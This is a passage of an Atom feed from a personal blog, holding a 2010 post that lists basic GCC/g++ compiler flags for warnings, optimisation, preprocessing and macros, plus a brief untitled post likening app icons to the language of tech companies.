]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/linux" term="linux" label="linux"/></entry><entry><title type="html">GCC Hacks</title><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="related" type="text/html" title="Basic GDB Tutorial"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><id>https://ashishb.net/programming/gcc-hacks/</id><author><name>Ashish Bhatia</name></author><published>2010-05-31T18:23:57+00:00</published><updated>2010-05-31T18:23:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover essential GCC hacks for C++ optimization and debugging. Learn commands for warnings, code size, and pre-processing in just one read!</blockquote><p>A small list of GCC Hacks</p>
<ol>
<li>
<p>g++ -o helloworld helloworld.cc produces helloworld binary from helloworld.cc C++ file.</p>
</li>
<li>
<p>use -Wall switch turns on all warnings(potential errors) in the code (like unused variables)</p>
</li>
<li>
<p>g++ -E helloworld.cc generates output code after the pre-processing stage.</p>
</li>
<li>
<p>use -O1 switch for level 1 optimization and -O3 for level 3 optimization (very rigorous)</p>
</li>
<li>
<p>use -Os switch for generating code which is small in size</p>
</li>
<li>
<p>g++ -S helloworld.cc generates asm code helloworld.S</p>
</li>
<li>
<p>g++ -DNAME=&ldquo;ashish&rdquo; helloworld.cc equivalent to writing #define NAME ashish in the code.</p>
</li>
<li>
<p>cpp -dM /dev/null lists all gcc macros available on the system as a part of GCC standard (they all starts with two underscores)</p>
</li>
</ol>
<p>Reference</p>
<ol>
<li>GCC man page</li>
<li>CPP man page</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html"></title><link href="https://ashishb.net/posts/linguistics/icons-the-language-of-silicon-valley/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/all/?utm_source=atom_feed" rel="related" type="text/html" title="All"/><link href="https://ashishb.net/search/?utm_source=atom_feed" rel="related" type="text/html" title="Search"/><id>https://ashishb.net/posts/linguistics/icons-the-language-of-silicon-valley/</id><published>0001-01-01T00:00:00+00:00</published><updated>0001-01-01T00:00:00+00:00</updated><content type="html"><![CDATA[<h1 id="every-empire-has-a-language">Every empire has a language</h1>
<p>Romans used Latin.<br>
Indic empires used Sanskrit.<br>
American empire uses English.<br>
And FAANG uses icons.<br>
Icons is the language invented by Microsoft, Google, Facebook, and Apple.</p>
<p>Icons like Share, Hamberger menu, Kebab menu, Profile icons.
Icons for Phone dialer, SMS, love, laugh, and what not.</p>
<hr>
]]></content></entry></feed>